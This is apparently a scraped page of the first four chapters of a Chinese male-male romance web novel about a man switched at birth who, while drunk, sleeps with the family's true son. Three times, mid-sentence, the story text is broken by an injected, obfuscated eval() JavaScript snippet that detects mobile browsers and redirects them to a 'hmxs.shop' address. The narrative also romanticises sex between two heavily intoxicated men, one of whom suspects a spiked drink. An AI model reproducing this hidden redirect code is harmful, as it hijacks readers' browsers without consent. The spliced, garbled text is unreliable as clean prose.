《假少爷怀孕了,是真少爷的》 1. 第 1 章 “所以事情就是这样了。我的确不是我爸妈亲生的。” 程知蘅喉结滚动,微微仰了仰头,露出漂亮又脆弱的脖颈线条。 他手边堆着许多空酒杯,对着空气说话的功夫里他又灌下去一杯。 “咳咳咳!”他被酒呛了两口。 程知蘅揉了揉太阳穴,觉得脑袋隐隐作痛。今晚确实似乎喝多了点。 他眼神有点涣散,细长的睫羽忽闪忽闪,大眼睛滴溜溜地转了两圈,这才对上焦—— 邻座的,一个穿黑衬衫的年轻人。 碰瓷对象。 哦不,倾诉对象。 “我说完了,你听懂没有?”程知蘅一把伸手抓住了黑衬衫的胳膊,有点不满地努了努嘴,“你有没有在认真听?” “嗯。”黑衬衫答,音色平冷。 他的手指修长,垂在一侧,很缓慢地敲击着吧台外壁。 从一个小时前开始,程知蘅就一直对着这个人絮絮叨叨自己的事情,大部分前言不搭后语。 年轻人倒也好脾气,不知道是闲的无聊还是喝糊涂了,也不离开,就一直垂着眼静静听着醉得一塌糊涂的程知蘅说胡话。 一个小时过去了,也没看出不耐烦来。 他话不多,整个人气质很冷,配上清晰分明的下颌线条和侧脸,有些说不清道不明的疏离感。 程知蘅进来前他就坐在这儿,来搭讪的人也不怎么理会,只一个人埋头喝闷酒。 此刻,他挽起的袖口被程知蘅抓得很凌乱,露出带有肌肉线条的小臂。 面对程知蘅的无理质问和纠缠,他看起来却并不生气,只轻轻偏头看过来。顶光倾洒在侧脸上,他眉睫低敛,像是毫无情绪,又仿佛只是淡漠。 不等他回答,程知蘅倒抢先伸出手指着自己,醉呼呼地又重复了一次:“我说,我,程知蘅,活了二十几年才知道,我不是我爸妈亲生的!” 黑衬衫:“……” 这是程知蘅,在过去的一个小时内,第六次说这句话。 过了半晌,黑衬衫依旧很有耐心地回答:“我听见了。” 酒保擦着玻璃杯的同时,时不时朝这边瞟一眼。 他听见程知蘅起高调,也带着笑插了句嘴:“我也听见了,小孩儿,你已经说了好多遍了。” 程知蘅眼神有些恍惚迷离,似乎带了点疑惑,酒吧昏暗灯光掩映下,像盛了一杯潋滟琥珀酒。 他觉得自己脑袋很沉,迷迷瞪瞪地朝着声音传来的方向偏了偏头,喃喃道:“是吗……我说了很多遍?” 他微微垂着眼,睫毛浓密,如蝶翅般轻轻颤着。 酒吧里人不多不少,昏暗的灯光在烟雾里浮动,电子乐的低音震得地板发颤。 程知蘅今晚有点疯。 ——他其实很少这样失态。 或者说,在他之前的人生中,从来没像今天这样失态过。 简单来说,在二十一岁这年,程知蘅的人生发生了一点小变故。 他发现他不是他爸妈亲生的。 在意外发生之前,程知衡的人生是镶了金边的。 锦衣玉食,无忧无愁,家庭幸福,父母开明,无条件支持他所有想做的事情。 他从小到大,虽说不是顶尖的出类拔萃,倒也一直聪慧有天资。他长相极佳,谈吐气质都很不错,有着几项专长,外加家境好,从生活、学业到人际关系上都没吃过苦。 他读书一直没下狠功夫,也一路念到一所相当不错院校的硕士,现在到了毕业季,学业已经结束,他正和所有即将毕业的年轻人一样:开开心心拍毕业照、游走流连于各大派对、策划毕业旅行。 直到一通电话打破了他原本平静的生活。 起因是临近毕业,他的母亲程馥文想给儿子一个惊喜。 她翻出旧相册,扫描了许多他出生前后的旧照片传入相册,打算制作一份影片,作为儿子的本科毕业礼物。 相片才刚刚上传,智能相册的AI就识别出婴儿面部特征不连续,弹出一堆眼花缭乱的红色报警。 程知蘅一直乖巧听话,长相和程父也颇为相似,程父程母都没把这当回事,只当是人工智障抽风。婴儿刚生出来都皱皱巴巴的一天一个样,这根本算不了什么。 直到几天后两人再度翻阅程知蘅的成长记录册。 泛黄的记录册,封面上用可爱的字体写着“乖乖的成长日记”,里面一五一十详细记载了程知蘅的出生体重、身高、疫苗接种记录,一旁有着许多彩笔手写批注,密密麻麻全是父母的爱。 然而,其中满月体检记录显示体重3.2kg,而家中保存的出生证明上却写着3.3kg。 健康婴儿从出生到满月的最低合格体重增长是500克,程家带孩子很尽心,孩子也一直很健康。 在这样的先决条件下,用脚想都知道,孩子是不会越长越小的。 程父程母大脑当场宕机,最初以为是医院记录失误,但翻看相册时发现,满月照背面是程母手写的娟秀字迹标注了“乖乖满月,3.2kg”。程家有体重秤,程母依稀还记得帮刚出生的宝宝称体重的场景,绝无可能错误。 DNA检测后,事情真相水落石出。 程知蘅,程家宝贝了二十几年的小少爷,根本不是他爸妈亲生的。 程家真正的孩子叫祈琰,目前就在同市的一所重点大学读研。从始至终,两家人都足够幸运地生活在同一个城市,却又足够不幸地从未见过彼此。 程母程父托人查了整整半个月,才终于拼凑出当年的真相。 程知蘅出生那年,当地的妇幼保健院还在采用手写疫苗登记卡。同日为新生儿接种疫苗时,粗心的护士将程知衡与另一个异月同日出生婴儿的接种本填反了,导致二人的档案完全混淆。 当时医院管理较松散,双方的家长都仅凭护士吩咐和包被颜色认领婴儿,没有严格核对。 出生日期相近,血型相同,连婴儿时期的外貌都大差不差,于是二十二年后,竟没有任何人发现端倪。 出生证明这种文件使用的场景其实相当少,如果不是报警的AI相册令程父程母心中存了疑影,体重数字的分毫之差或许根本无人会留心。 如果不是程父程母背后操作,这件事铁定要上社会新闻。 为了最大程度减小对两个孩子的生活心理影响,事件最终以妇幼保健院承认管理疏漏、赔偿两家损失费,并承担DNA检测、心理咨询等费用作结。 可惜,对程家而言,钱是最不重要的。 对于祈家而言,似乎也是于事无补——五年前,程知蘅的亲生父母,祈家夫妇死于车祸。 令人心痛的是,他们至死都没能见到自己亲生孩子一面。 …… 程知蘅的身旁沉默了很久,才传来一道很低的声音:“你醉了。” 和喝醉的程知蘅说话,不亚于对牛弹琴。 他的思维很跳跃,总是莫名其妙转换话题。 他没回答这句话,只是忽然抬起头,问身旁的黑衬衫:“你刚说,你叫什么名字?” “祈琰。” “祈琰……”程知蘅很慢速地念了一下这个名字,“好名字。” 他眨了眨眼睛,慢吞吞地说:“我跟你说,我亲生的爸爸,也姓祈。真的是很巧,我以为这个姓不太常见来着……” “嗯。” “被抱错的另一个人叫什么来着?我记得我爸妈跟我说过……” 程知蘅说着说着,忽然迷迷瞪瞪扒拉起祈琰的衣服,猫儿似的。 摸了半天手上才抓住了,他借着力抬起头来,睁着一双空洞洞的大眼睛,正对上祈琰沉黑浓墨般的瞳孔。 真是奇怪,酒吧的灯光分明是昏黄的,照在这个人脸上却像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984465|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是冷色。 “你为什么板着脸?不高兴?”程知蘅软着声音,大眼睛眨巴两下,很缓慢地问。 祈琰很冷静地把程知蘅伸到自己衣领的手又扒拉开:“没有。” 程知蘅迷迷糊糊的,莫名其妙又沮丧起来:“我爸妈打电话让我尽快回家,催得这么急,你说他们是不是不要我了,要和我撇清关系?” 程知蘅又一次掉进了自己混乱的世界里,对周遭的一切杂音充耳不闻。 他眼角眉梢仿佛含了点若有若无的水色,可怜巴巴的:“我听说我亲生父母都过世了,我这辈子,都还没见过我亲生的爸爸妈妈一面……” 这次,祈琰沉默了更久,脸上笼罩了一层阴翳。 过了很久,他低声说了句:“节哀。” 也不知道是不是程知蘅醉得太厉害了,他总觉得这句话带点若有若无的伤心。 “听说,我亲生的爸妈家里条件不怎么好……你说,那个被换错的婴儿,哦不,现在应该和我一样大了。我抢了他的人生,他会不会特别讨厌我啊……” 程知蘅的声音好听,此刻混了醉意,尾音显得有点软,倒有点像在撒娇。只可惜他眉目忧愁,说出的话苦涩,让人心尖酸软。 “我一直觉得,我从小到大,都特别特别幸福,也特别特别幸运……没想到这一切都是别人的……” 他越说越委屈巴巴的,眼眶里混了透明清澈的泪水,正竭力控制着不让眼泪珠子掉下来。 祈琰没有说话,沉默着,将手边的酒杯一饮而尽。 酒吧还是那样嘈杂,即便已至深夜,依旧有许多人笑着、闹着、舞蹈着、亲吻着。年轻人们挤在一起,笑声混着音乐,偶尔有人撞到桌子,酒液洒在木地板上。门一开,冷风卷进来,但很快被室内的燥热吞没。 没有人注意到角落里,坐在高脚凳上的程知蘅忽然一咯噔,摔进了祈琰的怀里。 祈琰很少和人距离这么近,他第一反应是往后退,然而又怕摔了眼前这个醉鬼,只好伸手捞住。 这么一来二去,就把程知蘅稳稳当当抱到了怀里。 程知蘅只觉得一阵天旋地转,忽然被眼前一张好似天仙的帅脸闪瞎了眼。 “我感觉好像喝了假酒……”程知蘅双眼微闭,用只有自己能听见的音量喃喃道。 大概是在酒精的作用下,他总觉得自己和平常有点不一样。刚才在说什么、在干什么,一下全刷新格式化掉了,只剩下眼前的人。 他原本粉白的脸上泛了点不正常的绯色,一双漂亮的杏核眼带了点水色,盯着祈琰那双沉黑不见底的眼,很认真地说:“你长得好好看啊。” 见对方没有挣脱开,他的胳膊又攀上了对方的脖颈。 他细长的手指轻飘飘勾上了祈琰的领口,他向前探了探,双唇几乎贴到了祈琰的耳廓。 他小声撒娇:“我觉得我好像从来没见过长得比你还好看的人。” 祈琰:“……” 醉酒的程知蘅显得有点娇,双唇微微开合,吐出一点凉丝丝的气息,烫得祈琰眉宇间沉了几分。 程知蘅的下巴有点尖,此刻贴到了祈琰的脖子上,一点一点小心翼翼往前拱,直到整个人安安稳稳躺在祈琰的怀里。 他在祈琰耳边软绵绵地小声问:“哥哥,你可以送我回酒店吗?我觉得我有点走不动……” 祈琰没有立刻答应,他有点出神。 眼前的人,好像没有认出他来。 祈琰看起来太冷静,再配上原本就冷色的皮肤,没有一点喝多的样子,比身边的程知蘅看着清醒很多。 但他喝下去的酒,各式各样,几乎是程知蘅的三倍。 他觉得,自己好像还没有醉得一塌糊涂。 直到…… 身上扒拉着的这个醉鬼,撅起柔软的唇, “啵!”的一下,亲在了他的下巴上。 2. 第 2 章 刚亲下去的时候,程知蘅自己也愣了一下。 醉了是这样的,人很难控制自己的举止,有时候事情都干了,自己才反应过来。 程知蘅被自己吓了一跳。他本来是看见祈琰有点出神,想喊他一下,激起人的注意力来着…… 但是脑袋太乱,刚才虽然问过名字,但是完全没记住。 于是,他就随意发挥了一下。 “我说话怎么变成这种声音了?”程知蘅有点愁,“还随随便便亲陌生人?” “他会不会觉得我是那种特别随便的人啊。”程知蘅隐隐有些忧虑。 他忧虑着,忧虑着……忽然感觉膝下一轻。 他被祈琰抄着膝弯抱了起来。 程知蘅:! 祈琰抱着他就往酒吧外走,被屋外的冷风一吹,程知蘅一下感觉酒都醒了一半。 “你你你你要干什么?!”程知蘅有点慌。 “送你回酒店。”祈琰凉凉地扫了他一眼。 他的手很稳当,因为比程知蘅高不少,抱他显得轻轻松松。程知蘅在他怀里缩成小小一团,像个乖巧的洋布娃娃……此刻有点惊恐。 程知蘅小声说:“可我还没告诉你我住哪里。” 祈琰很熟练报出一串地址,是程知蘅爸妈的家。哦不对,现在应该只能算是“前爸前妈”了。 “不对不对!”程知蘅抗议,“我不回我爸妈家!” 他醉得厉害,甚至没怀疑一个“陌生人”为什么会知道他的家庭住址。 “那你去哪儿?”祈琰伸手把程知蘅的胳膊拉到肩膀上示意他抱住,接着伸手往口袋里掏手机,一副真的打算搜目的地的样子。 程知蘅接过手机输入了酒店名称,把手机递回去后从善如流抱住祈琰的脖子,接着傻笑了一下:“谢谢你,好心人。” 祈琰接过手机,点导航。 步行时间1分钟。 祈琰:“……” 他正想问程知蘅他就住隔壁酒店,刚刚怎么不说,然而等他一低头,程知蘅看起来已经睡过去了。 他安安静静躺在祈琰怀里,小小的脑袋靠在祈琰的肩膀上,额头抵着下巴。 祈琰沉默地盯着程知蘅的睫毛,看着他的身躯顺着绵长的呼吸缓缓起伏,忽然伸出手,很轻地蹭了一下程知蘅的脸颊。 指尖和皮肤的一触即分。他抽回手,如梦初醒般。 祈琰的嗓音很沉很低,沾了酒意,有点像是耳畔低语。他说:“不用谢。” 他沉默地迈开腿,往酒店的方向走去。 程知蘅的口袋里有房卡,路过前台的时候他醒了一下,似乎还是没能完全清醒过来,冲着祈琰就乱叫哥哥,喊得祈琰都没脾气了,前台看见这种场景自然也没拦,任由祈琰把人抱回了房间。 程知蘅住的行政套房,里面厨房沙发客厅一应俱全,程知蘅的两个28寸大箱子都凌乱地摊在门口,看起来是一下飞机就住到了这儿。 躲他爸妈么?祈琰想。 这时候祈琰已经开始觉得有点酒劲上来了站不稳,刚才喝得太多太乱,来找他搭话的人也多,不知道酒里面是不是被人放了东西。 他越看越头晕,把程知蘅丢在床上就要走。 才刚走出去两步,他身后忽然传来一声重重的闷响。 一回头,小少爷duang的一声摔在了地毯上。 他伸手揉着额头,看起来被摔醒了,皱着眉头小声喊了两句痛。 祈琰在原地站了几秒,长叹一口气,最终还是迈步上前去捞人。 他抓住程知蘅的手腕一拽,没拽动,自己反倒被带得往前一扑。 要摔倒的前一刻,仿佛某种本能,祈琰伸出手托在了程知蘅的后脑勺上。于是,就着这个暧昧的姿势,两人就这样重重摔进羽绒被里。 程知蘅闷哼一声,温热的呼吸喷在祈琰颈侧。 酒气混着洗衣液的香味在鼻尖炸开,祈琰撑着手臂想爬起来,却被无意识缠上来的腿绊住。 “别走……”程知蘅含糊嘟囔,手臂突然环住他的腰。 掌心隔着衬衫传来体温,祈琰呼吸一滞。 他低头去看,程知蘅的睫毛在眼下投出阴影。唇色被酒液浸得发亮。 太近了。 祈琰垂眸,喉结滚动,撑在床边的手忽然一软,酒精烧断了某根神经。 他鬼使神差地低头,很缓慢地,额头抵在程知蘅的耳侧,缓缓倒了下来,躺在程知蘅的身侧。 酒意开始上头,他觉得自己更晕了。 眼前一片混沌迷乱,他盯着程知蘅的眼睛,总莫名其妙想起他母亲的双眼,继而想起那场发生在几年前的意外。 好像只有靠在柔软的床上,合上双眼,静静听着另一个人的呼吸,才可以忘记那些往事。 他本以为这样可以获得平静,然而心脏却更为用力地狂跳起来。 他抬眼,对上程知蘅极长的睫毛。 程知蘅忽闪着大眼睛,浅粉色的嘴唇微微上下张合,像在说着什么。 他在数:一、二、三。 祈琰半掀眼皮,沉默而混沌地注视他很久,问:“你在干什么?” “我在数你有几根睫毛。”程知蘅很认真地回答。 “哦。”祈琰很缓慢地点了点头,“所以有几根?” 他没等到回答。 困意和眩晕感排山倒海一样席卷而来,祈琰忘记了接下来发生了什么。 恍惚间,他仿佛感觉到一头柔软的碎发蹭到了自己颈间,像有只小猫埋在自己胸口。他一伸手,摸到了程知蘅柔软的脸颊。 还有一些碎片。修长而交叠的手,轻轻的、温热的吐息,还有程知蘅醉后,有点软的嗓音。 直到唇瓣相触的瞬间,祈琰突然睁眼。 四目相对。 程知蘅瞳孔骤缩,被吓了一跳,有点像炸了毛的小猫。 祈琰微微凝眉,像是要把程知蘅推开,又好像是和他一样沉醉其中,控制不了自己的举止。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984466|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程知蘅也意识到了这一点。 他本该退开,但醉意好像模糊了界限,他再次丧失了自控力。 所以,等到他意识到自己在干什么的时候,已经晚了。 ——他舔了一下祈琰的唇缝。 甜的,像糖。 程知蘅感觉热得发慌,嗓子发干,舔了一下还不够,又吻上了祈琰的锁骨。 祈琰的皮肤太白,刚才酒意上头都只是脸色越来越白,这时候领口下却红了一片。 “祈琰。”程知蘅忽然福至心灵,想起来这个名字。他声音很轻很飘渺,像含了一根棒棒糖,这样的声音喊自己的名字,莫名让人心肝发颤。 “对,晚上我和你说的那个人,他的名字叫做祈琰。” 程知蘅抬眼,很温和地将祈琰的眼睛盯住,挂了一抹漂亮的轻笑,小声问:“你也姓祈,你叫什么?” 暖黄色的阅读灯下,他的双眼像小鹿的眼睛,蒙了一层琥珀色的光辉。 祈琰感觉虚空中,有根弦在这一刻被醉意烧断了。 他没有回答程知蘅的问题,而是伸出手,缓缓深入了他后脑的碎发之间。 他脑海里回想着方才那个意料之外的舔吻,然后—— 狠狠地咬了回去。 程知蘅瞪大了双眼,仿佛胸中有什么东西也随着这个吻轰然倒塌。 之后发生了什么,在他的大脑里全混乱成一堆剪不断理还乱的浆糊马赛克。 恍惚间,他觉得他变得不是他自己了,像是光着脚踩在云端,浑身轻飘飘的。 他好像变成飞鸟,在海的云端浮浮沉沉。潮起潮落,贝壳挂在浪头擦过脚底,蹿起一阵潮湿的痉挛。 这感觉很奇异,他觉得,自己算是一只快乐的飞鸟。 程知蘅有些纳闷。 这个人看起来那么冷淡,那么有距离感,怎么在亲他的时候会这么凶呢? 于是他就这样迷迷瞪瞪想了一整夜。 祈琰那有点哑的嗓音在耳畔响起,烫得他浑身战栗。 “祈琰。”他说。 “什么?”程知蘅的声音也哑了,他细细喘着气,眼角都是落下的汗水,看起来有点可怜巴巴的,竭力地睁开双眼。 祈琰滚烫的吻落在他的耳侧,他的声音低沉好听:“我的名字。是祈琰。” “呜……”程知蘅仰起头,忽然被身下的动作激得发抖,他用力抱住祈琰的脖颈,从头麻到了脚,忍不住闷哼出声,“慢点……” 他浑身都烧起来,理智也随之焚烧殆尽了。 程知蘅声音犹如抽泣,软得一塌糊涂。 “再说一次,好吗?” “……” “再说一次……” “祈琰。” 程知蘅无暇思考,只迷迷糊糊觉得,这真是个好听的名字。 (当然,这个感觉是暂时的。 第二天的清早,程知蘅睁开双眼的时候,脑袋里只剩下两个字。 完了。 3. 第 3 章 讽刺的是,当他刚醒来,还没睁开眼睛的时候,其实觉得自己昨晚睡得还不错。 他先是伸了个舒服的懒腰,庆幸自己昨晚失眠的时候跑去楼下酒吧喝了酒,有效改善了睡眠。 紧接着,他发现自己没拉窗帘。阳光刺目,他起身打算去关。 然后,他看见了…… 床上床下以及他的身上,全都是一片狼籍,甚至他的脑袋还枕在祈琰的胳膊上。 ! !!! 怎么会这样! 等下等下,他睡在谁的胳膊上? 程知蘅一个猛转头,看见了睡在身边的人。 他人还没醒,眼睛微微闭着,在光线下露出一个完美的侧脸。除此之外,他的胸口和胳膊,原本素白的皮肤上,有着清晰可见的吻痕和细小牙印,一看就是昨晚发酒疯的程知蘅本人手笔。 程知蘅虽然喝多了,但并没有断片。只想起一个细节,整个故事来龙去脉便全部清晰地浮现在了眼前。 程知蘅:“………………” 他昨天都干了什么啊啊啊! 他一个直男,成年后连女孩子的脸都还没亲过,就和一个素未谋面的男人睡了?? 不是说醉了应不起来吗? 程知蘅整个人都炸了,他两只手撑住脑袋,其实是有点想直接把手指从太阳穴插到自己的脑袋里。 他碎了。 他被烫了一样赶紧跳下床,一把冲进浴室,拧开水龙头开始冲洗了一下自己。 他必须让自己忙碌起来,这样才能忘记…… 根本忘不掉!!! 越是清洗身上,昨夜的点滴细节就越清晰。现在睡在床上的那个男人是如何吻上他的唇,他的手指是如何抚过他身上的哪一寸皮肤,全都记得一清二楚。 想着想着,程知蘅的呼吸又急促起来。 他默默地把水温调到最低。 随着他的大脑缓缓冷却下来,昨夜的记忆更清晰地出现在脑海里……包括此刻正隐隐作痛的身体。 程知蘅苦涩地安慰自己:没事的。 也就是简单的和陌生人睡了一觉嘛,喝多了,正常。 睡的不就是男人吗,他也是男人,正常。 既然是男人和男人,总要分个上下。他运气不好抽到下,50%概率,也正常。 他什么大风大浪没见过?不就是一夜情吗?怕什么?良宵一刻值千金,昨晚他可能赚了有个……五六七八个千金吧。 就这样洗了快半个小时冷水澡,给自己洗脑了半个小时,程知蘅忽然觉得自己又可以维持镇定了。 他自以为已经收拾好了自己的心情,随意捡起几件衣服穿在身上,一手拿着毛巾擦着湿漉漉的脑袋,一手推门走出了浴室。 然后,对上了祈琰一双浓黑的眼睛。 床上的人不知道什么时候醒了,已经穿上了衣服。此刻坐在床边,一手支头,沉黑的双眼正朝着他的方向望过来。 程知蘅当场打了个惊天动地的喷嚏,浑身都僵硬了。 怎么办怎么办,祈琰醒了,现在他必须想出一个完美的开场白,一个规避所有尴尬情绪的开场白。 程知蘅堆出一个自以为端庄的笑容:“啊哈哈哈你醒了啊!” 说完他就捂住了自己的嘴。 艹,用力过猛了。 祈琰沉声开口:“是。” 屋内灯已经亮了,程知蘅终于第一次平心静气、在亮堂的环境下打量这个人。 他皮肤白得晃眼。眉眼轮廓像是雕刻出来的,又冷又利。 他鼻梁很高,唇色很淡,一双乌黑的桃花眼低垂着,整张脸没什么表情,透着一股子厌世的倦怠。看人时眼睫懒懒一掀,疏离感扑面而来,却偏偏让人心头一跳。 一对上目光,昨晚那些香|艳迷乱的碎片又一次浮了上来,程知蘅咬了咬唇,微不可查向后退了一步。 祈琰看起来脸色发白,有些欲言又止道:“我昨天……” 他才刚开口,程知蘅的电话铃声忽然响起,打断了他的话头。 程知蘅正愁两人四目相对有点尴尬,立马跑到床头,没看来电人就接了:“喂您好?” 祈琰的目光凉凉的朝这个方向扫过来。 电话那头传来一道有点疲惫的女声,温柔低沉:“乖乖,起床了吗?” 程知蘅:! 低头一看,来电人是他妈! 程知蘅手一烫,差点把手机丢出去。 他不回家,就是可以在躲他爸妈,现在是前爸妈。结果一步错,步步错,不小心睡了个陌生人也就罢了,还一不小心在最不合适的时间点接了他妈的电话。 接都接了,程知蘅不得不硬着头皮继续对话下去:“我起了……” 电话那头的女声“嗯”了一下,继续问道:“你和朋友玩得怎么样呀?” 程知蘅的心脏因为心虚狂跳了一下,下意识瞟了祈琰一眼。 他是前天回国的,本来他爸妈要来机场接,他因为想逃避现实,骗他们说要见朋友,先自己住两天。当时约的,正是两天后的今天回家。 程知蘅扯谎:“还行还行。那个……有什么事情吗?” 程馥文顿了顿,一听便知道她便宜儿子又玩疯了没来得及看手机信息,于是耐心地解释了一遍。 “我们约了今天中午一起吃个午饭,忘记了吗?”她很温柔道,“你小哥哥昨天就回家啦,我让他今天去接你一下,你们俩正好可以熟悉熟悉,他联系你了吗?” 程知蘅眨巴了一下眼睛,一脸一言难尽之色:“小…哥哥?” “就是祈琰,我和你说过的,是不是?”程馥文放软了声音,“乖乖,你和哥哥第一次见,稍微穿好看一点哦,我在他面前说的可都是你的好话。” 从小到大,程父程母都是当眼珠子一样宠着程知蘅,即便得知他不是亲生的,却还是出于本能的疼爱、唠叨、说不完的担心。 程知蘅从小听话,唯独在这个事情上的反应让程馥文摸不清,她有些担心孩子心里膈应,或是难以接受,早早发了消息,又用了最温柔的语气。 对程馥文来说,抱错的事情既然发生了,倒不如当作一件好事。 亲儿子当然要接回来,但程知蘅她疼了二十年,怎么可能送回去做别人的儿子?更何况他亲生父母都已经过世。程家家庭条件不错,自然是要留在身边的。 她本来一直有些遗憾程知蘅没有弟弟妹妹有点孤单,现在相当于彼此多了一个没有血缘关系的亲兄弟,能互相照顾,她还挺高兴,所以早早张罗了这场家庭聚会,希望大家能把这当作一件喜事。 但是程知蘅不怎么领情,一听见祈琰要来,立刻跳脚:“什么?他也要来??这多尴尬,我不见!” 程馥文有点无奈:“哥哥都去接你了,你现在说不见吗?我昨晚就给你发消息了……” 按照程知蘅以往的脾气,大概是回一声拖着长腔的“妈”,然后撒个娇说不想去,他妈指定心软。 可是现在……他实在不知道这句“妈”还能不能叫得出口。 他沉默了。 这几天发生的怪事已经太多,程知蘅觉得已经有点超出了他本人的处理能力。 于是他叹了口气,低声回道:“随便吧,反正我不见。我挂了哦,你们好好吃,我就自己解决了。” 说完他“啪”的一声挂了电话,没给程馥文回答的时间。 程馥文面对着被挂掉的电话,对着手机翻了个白眼,转头就弹了程修永一个脑瓜崩,没好气道:“你看,都是你给惯的!” 程修永拍了拍程馥文的背,好声好气哄:“好了,没事儿,消消气,孩子大了嘛。乖乖一直懂事,只是嘴硬而已,但一定会回来的。” 程知蘅挂了电话,对着跟前还坐着的祈琰挂出一个苦笑。 好了。现在目前的主要任务是要摆脱掉眼前这位。 一夜情这个事情,对他来说还是个未知领域,他现在急切地需要独自静一静。 怎么处理好呢? 程知蘅无声地思考许久,忽然福至心灵,想到一个完美的理由。 他干笑着语无伦次道:“哈哈,那个,你家在哪儿?我开车送你回?正好我哥待会儿来接我回家,还有点急,你看那个你要是近的话,我就先走了。” 祈琰:“……” 他眉头轻轻一皱,几乎看不出来,接着冷声道:“没事儿不用了,我们一起回就行。” 程知蘅愣了愣,解释道:“哦不是,我说我要回家来着,而且我哥还要来,咱们可能…不大顺路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984467|193613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?顺路吗?应该不顺路吧,也不太合适,所以……”他越说声音越小,说着说着没声了。 得,越描越黑。 祈琰眯了眯眼睛,约莫觉出味来。 他开口问:“我是谁?” 程知蘅又是一声干笑:“哈哈,你是谁?好问题,好问题,你是谁,我是谁,我在哪儿,我为什么在这儿,这是个哲学问题……” 祈琰:? 酒还没醒? 程知蘅还要继续说胡话,终于被冷静的祈琰打断了,他边说边起身:“你刚不是说你开车吗,那我直接坐你车回好了,我先冲个凉。” 他站起身比程知蘅高,低着头,依旧面无表情,欲言又止了几秒才问:“你感觉怎样?” 他说这话的时候声音轻了点,程知蘅莫名觉得祈琰有刻意放软声线。 程知蘅没听懂:“怎样?什么叫感觉怎样?” 祈琰低了低头,又恢复了那种冷淡疏离的腔调:“先休息一下吧。你昨晚喊了一句疼,我刚刚点了送药的外卖,到了记得开门。” 程知蘅很茫然地点了点头。 他的大脑转速现在有点慢,所以一直等祈琰走到了浴室门口,他才琢磨过来祈琰话里的漏洞:“等下,你坐我的车回?为什么?” 祈琰回过头,轻轻皱了一下眉。动作很快,看不真切:“所以你不知道我是谁?” “我以为你昨晚问了那么多次,已经记住了。” 程知蘅:? 他问了什么来着。 祈琰又皱了皱眉:“你真不记得了?” 程知蘅的心猛的一沉,约莫觉察出点什么,瞳孔急遽紧缩:“……所以你是谁?” “我是祈琰。” “你是祈琰……”程知蘅大脑宕机了几秒,依旧愣着,“对我知道你叫祈琰啊,所以你为什么要回我家?” 祈琰:“……” 不等祈琰回答,程知蘅脑袋里忽然灵光一闪。 等下。 等一下。 祈琰……这这这,这不就是??? 这不就是那个被抱错的真少爷的名字? 程知蘅终于回过味来。他小脸惨白,双目瞪得滚圆:“你是祈琰?” 有些不相信事实,他补充了一个定语:“那个,祈琰?” 祈琰点了点头:“嗯。” 程知蘅踉跄了一下,险些没站稳。 他终于想起来了。前夜,他迷迷糊糊的,连哭带求,逼着祈琰说了无数次这个名字。饶是如此,他刚刚硬是没有把这两个人联系到一起去。 祈琰打算提醒他一下:“我……” 话刚出口,程知蘅忙连连摆手。他背过身去,双手捂住耳朵,颤声道:“不,这不是真的!你不要告诉我,我不想知道。” 但祈琰还是说完了。 “是你爸妈让我来接你的,其实我昨晚来酒吧就是来找你的。但你喝醉了,我也醉了,所以没来得及说。” “对不起,程知蘅。我的酒不对劲,昨晚发生的事情都是我的错。我会负责。” 话音落下,房间内陷入了一片令人窒息的死寂。 程知蘅裂开了。 他彻底裂开了。 虽然早就已经知道答案了,但是当屠刀落下的那一刻,痛感、虚无感、荒谬感还是如此清晰、炽烈、无所遁形。 祈琰,祈琰。第一次听见这名字,他还觉得这是个好名字。 此刻的程知蘅,又一次想起了前夜,他迷迷糊糊的,连哭带求,逼着祈琰说了无数次这个名字的场景。 他很有预感,这个画面会在他的人生中化作一个无法摆脱的梦魇。他这辈子都忘不掉了。 好冷。程知蘅忽然觉得好冷。从来没这么冷过。 大概是刚才一直过于亢奋,直到现在,他才开始感觉到身上四肢五脏都传来令人散架般的酸痛。昨晚……确实是非常充实的一个夜晚。 程知蘅无助、崩溃、悲痛。上帝啊,苍天啊,茫茫人生啊,为何要如此捉弄我! 先是发现他爸妈不是他爸妈,紧接着又睡了他爸妈的儿子??? 程知蘅彻底无语了,头痛,心痛,身上也痛。 好事轮不上他,坏事把他轮了。 物理意义上的。 4. 第 4 章 究竟怎么会这么巧??? 他就那么巧的正好选中这一天晚上出去喝闷酒,那么巧地正好坐在祈琰的旁边,那么巧的正好对着他说了一晚上醉话,那么巧地和他吐槽了一整晚自己的遭遇……然后那么巧地和他睡上了一张床。 一切的一切,都巧合到极为离谱的程度。 但偏偏就是发生了。 等到程知蘅终于稍微镇定下来之后,浴室已经响起了水声。 他先是强迫自己冷静下来,心中默数了十个数,几乎用尽了这辈子的勇气,才终于敲响了浴室门:“在吗?” 水声没停,祈琰的声音带了点浴室回音:“在。” 